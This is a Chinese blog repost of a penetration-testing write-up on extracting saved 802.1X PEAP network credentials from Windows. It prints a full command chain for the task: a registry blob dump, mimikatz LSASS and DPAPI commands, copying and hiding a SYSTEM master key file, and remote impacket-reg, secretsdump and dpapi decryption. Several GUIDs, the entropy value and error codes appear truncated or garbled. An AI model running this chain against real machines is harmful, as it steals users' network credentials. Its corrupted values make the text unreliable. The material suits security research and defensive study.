从网络配置文件中提取PEAP凭据

从网络配置文件中提取PEAP凭据Mimikatz 是一款很棒的工具 但让它在目标机器上运行起来可能很麻烦 尤其是在当今 有那么多 EDR XDR 保护措施 我自己有一些打包程序可以完成这项工作 但我们最好不要直接在目标上运行任何东

大家好,欢迎来到IT知识分享网。

我的一位同事最近遇到了这样一种情况:他可以物理访问使用802.1X连接到有线网络的Windows计算机,同时保存了用于身份验证的用户凭据,随后他想提取这些凭据,您可能认为这没什么特别的,但是事情却有点崎岖波折……

如何开始

从网络配置文件中提取PEAP凭据

从那里我们可以选择一个以太网接口,右键单击它以打开上下文菜单,单击”属性”并转到”身份验证”选项卡…

从网络配置文件中提取PEAP凭据

有时候我们可能会发现没有”身份验证”选项卡,这种情况下我们就需要启动”有线自动配置”服务,也就是dot3svc,完成后”身份验证”选项卡在属性中可见

从网络配置文件中提取PEAP凭据

最后我们可以点击”高级设置”,勾选”指定身份验证模式”,在下拉列表中选择”用户身份验证”,点击”保存凭据”后输入我们的凭据

从网络配置文件中提取PEAP凭据

为了这篇博文的目的,这里我们选择了容易识别的值:ThisIsMyUsername和ThisIsMyPassword,设置现已准备就绪,现在我们可以开始尝试提取凭据了

凭据存储

假设凭证存储在文件系统或注册表的某个位置,那么我们的想法就是使用Process Monitor来查找诸如CreateFile、WriteFile或之类的操作RegSetValue

从网络配置文件中提取PEAP凭据

可以看到在几秒钟之内就捕获了数千个事件,耐心地浏览这些事件时我注意到一个非常有趣的事件链,lsass.exe进程打开了帐户Preferred的文件LocalSystem,这暗示使用了DPAPI,然后是RegSetValue另一个服务(svchost.exe进程)的操作

从网络配置文件中提取PEAP凭据

从网络配置文件中提取PEAP凭据

二进制数据以01 00 00 00 D0 8C …开头,它看起来绝对像一个DPAPI blob

解密操作

快速查看注册表可以确认一个新的”用户数据配置文件”以具有随机GUID的注册表项的形式附加到我们的网络接口并且一个名为的二进制值Wired已添加到此配置文件中

从网络配置文件中提取PEAP凭据

我们可以使用PowerShell中的以下命令提取原始数据并将其保存到文件中

$RegPath = "HKLM\SOFTWARE\Microsoft\dot3svc\Interfaces\{215B523B-D0D3-42AB-BF7E-CE2422}\UserData\Profiles\{9A2E6B93-5356-49B7-A0E1-67B8CE8AEBBE}" $Blob = Get-ItemPropertyValue -Path "Registry::$RegPath" -Name "Wired" [IO.File]::WriteAllBytes("C:\Temp\wired.bin", $Blob)

通过将输出文件输入到mimikatz中,我们可以确认数据确实是DPAPI blob,该工具还显示关联主密钥的ID 48c77ef6-4aa9-4da5-b850-b545e4b86de6:

dpapi::blob /in:c:\temp\wired.bin /raw

从网络配置文件中提取PEAP凭据

当然我们也可以通过读取文件内容来获取此信息Preferred,因为它包含当前正在使用的主密钥的GUID,但在实际情况下它可能是一个较旧的密钥,因此从blob本身获取此信息仍然更可靠

从网络配置文件中提取PEAP凭据

获取主密钥值的一种方法是使用mimikatz命令sekurlsa::dpapi,请注意它需要具有LSASS进程的访问权限(例如:具有调试权限)

从网络配置文件中提取PEAP凭据

要获取明文数据,我们只需将命令行参数/unprotect和添加/masterkey:KEY到上一个dpapi::blob命令中

dpapi::blob /in:c:\temp\wired.bin /raw /unprotect /masterkey:73bd0abfd9ebb62cced52fb75203dace1f8abb75c3aedfba88bb3ae5561fa091e1d9b02c450d859a19fed66e397d9f5

从网络配置文件中提取PEAP凭据

我们得到错误代码0x,即NTE_BAD_DATA,当”要解密的数据无效”或”发现填充无效CryptDecrypt”时会返回此错误,此时我尝试摆弄输入数据还使用十六进制编辑器仔细检查了blob数据并验证了主密钥,但我无法弄清楚解密出了什么问题

回退分析

我非常确定自己对输入数据(即数据blob和主密钥)无能为力,因此我得出结论——解密过程中还涉及其他内容,我退后一步仔细查看导致该操作的事件,RegSetValue看看是否遗漏了什么

从网络配置文件中提取PEAP凭据

根据此调用堆栈,RpcSetProfileEapUserData将调用RPC过程,这将导致调用内部函数StSaveUserData并使用API将 DPAPI blob写入注册表RegSetValueExW,正如我们之前所见,通过快速查看dot3svc.dllGhidra很容易重建该StSaveUserData函数源代码的以下部分

// ... status = RegCreateKeyExW(hKey, lpSubKey, 0, NULL, 0, KEY_WRITE, NULL, &hNewKey, NULL); if (status == 0) { bSuccess = CryptProtectData( &DataIn, // pointer to DATA_BLOB: encrypted data NULL, // optional description &blobSalt, // pointer to DATA_BLOB: optional entropy NULL, // reserved NULL, // optional CRYPTPROTECT_UI_FORBIDDEN, // flags &DataOut // pointer to DATA_BLOB: decrypted data ); if (bSuccess) { status = RegSetValueExW(hNewKey, lpValueName, 0, REG_BINARY, DataOut.pbData, DataOut.cbData); } } // ...
typedef struct _CRYPTOAPI_BLOB { DWORD cbData; BYTE *pbData; } CRYPT_INTEGER_BLOB, /* ... */, DATA_BLOB, /* ... */ *PCRYPT_ATTR_BLOB;

在我的DLL版本(10.0.19041.3636))中全局变量blobSalt位于0xc0可写部分中的地址.data,数据类型最初_CRYPTOAPI_BLOB由Ghidra的PDB分析器设置,但此结构未定义,因此我将数据类型设置为DATA_BLOB

从网络配置文件中提取PEAP凭据

我原本以为结构会全为零并在服务初始化期间填充,但我发现缓冲区地址设置为0xe0,位于只读.rdata部分内,换句话说看起来熵/盐值只是硬编码的

从网络配置文件中提取PEAP凭据

最后我们的凭证只是使用帐户的主密钥LocalSystem和盐进行加密,幸运的是mimikatz有一个命令参数,我们可以通过它传递这个可选值

dpapi::blob /in:c:\temp\wired.bin /raw /unprotect /masterkey:73bd0abfd9ebb62cced52fb75203dace1f8abb75c3aedfba88bb3ae5561fa091e1d9b02c450d859a19fed66e397d9f5 /entropy:6eafe55eabc3495c9808c61eef /out:c:\temp\wired_decrypted.bin

从网络配置文件中提取PEAP凭据

这次解密成功了,我们可以读取输出文件来获取我们的明文凭证

从网络配置文件中提取PEAP凭据

现在您可能想知道此值是否在所有版本的DLL中都相同,我不能肯定地说,但我检查了其中几个结果是相同的,所以很可能是这样

隐秘方法

$RegPath = "HKLM\SOFTWARE\Microsoft\dot3svc\Interfaces\{215B523B-D0D3-42AB-BF7E-CE2422}\UserData\Profiles\{9A2E6B93-5356-49B7-A0E1-67B8CE8AEBBE}" $Blob = Get-ItemPropertyValue -Path "Registry::$RegPath" -Name "Wired" [IO.File]::WriteAllBytes("C:\Temp\wired.bin", $Blob)

如果我们可以通过网络访问目标,我们可以使用以下命令递归查询注册表并转储我们感兴趣的值

# 1. Get the network interface and profile IDs export KEY_BASE="HKLM\SOFTWARE\\Microsoft\\dot3svc\\Interfaces" impacket-reg 'USER:PASS@TARGET' query -keyName "${KEY_BASE}" -s # 2. Get the content of the 'Wired' value export INTERFACE_GUID="{INTERFACE_GUID_HERE}" # {215B523B-D0D3-42AB-BF7E-CE2422} export PROFILE_GUID="{PROFILE_GUID_HERE}" # {9A2E6B93-5356-49B7-A0E1-67B8CE8AEBBE} impacket-reg 'USER:PASS@TARGET' query -keyName "${KEY_BASE}\\${INTERFACE_GUID}\\UserData\\Profiles\\${PROFILE_GUID}" -v "Wired"

假设我们有一个名为wired.bin包含DPAPI blob的文件,我们可以将其输入到dpapi.py脚本中以获取主密钥的ID

impacket-dpapi unprotect -file "wired.bin"

从网络配置文件中提取PEAP凭据

有了这些信息,我们就知道需要从目标机器检索哪个主密钥文件

cp "C:\windows\System32\Microsoft\Protect\S-1-5-18\User\48C77EF6-4AA9-4DA5-B850-B545E4B86DE6" "c:\temp" attrib.exe /s /h /r /d "C:\temp\48C77EF6-4AA9-4DA5-B850-B545E4B86DE6"

主密钥受帐户的DPAPI用户密钥保护,如果您有和配置单元LocalSystem的副本,则可以按如下方式提取它,您也可以使用它来远程转储它——SYSTEMSECURITYsecretsdump.py

# Locally impacket-secretsdump -system "system.bin" -security "security.bin" LOCAL # Remotely impacket-secretsdump 'USER:PASS@TARGET'

从网络配置文件中提取PEAP凭据

有了DPAPI用户密钥,我们就可以解密主密钥文件从而提取保护我们的DPAPI blob的密钥

impacket-dpapi masterkey -file "48C77EF6-4AA9-4DA5-B850-B545E4B86DE6" -key "0xc99eb525bc17b9da543bdfff39"

从网络配置文件中提取PEAP凭据

最后我们可以提供DPAPI blob、加密密钥和熵文件来dpapi.py解密DPAPI blob并提取保存的凭据

echo "6eafe55eabc3495c9808c61eef" | xxd -r -p > entropy.bin impacket-dpapi unprotect -file "wired.bin" -key "0x73bd0abfd9ebb62cced52fb75203dace1f8abb75c3aedfba88bb3ae5561fa091e1d9b02c450d859a19fed66e397d9f5" -entropy-file "entropy.bin"

从网络配置文件中提取PEAP凭据

文末小结

这是一次有趣的探索旅程,最重要的是这是一个探索DPAPI的好机会,希望这篇文章能帮助任何遇到类似情况的人

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/135612.html

(0)
上一篇 2025-07-03 16:26
下一篇 2025-07-03 16:33

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信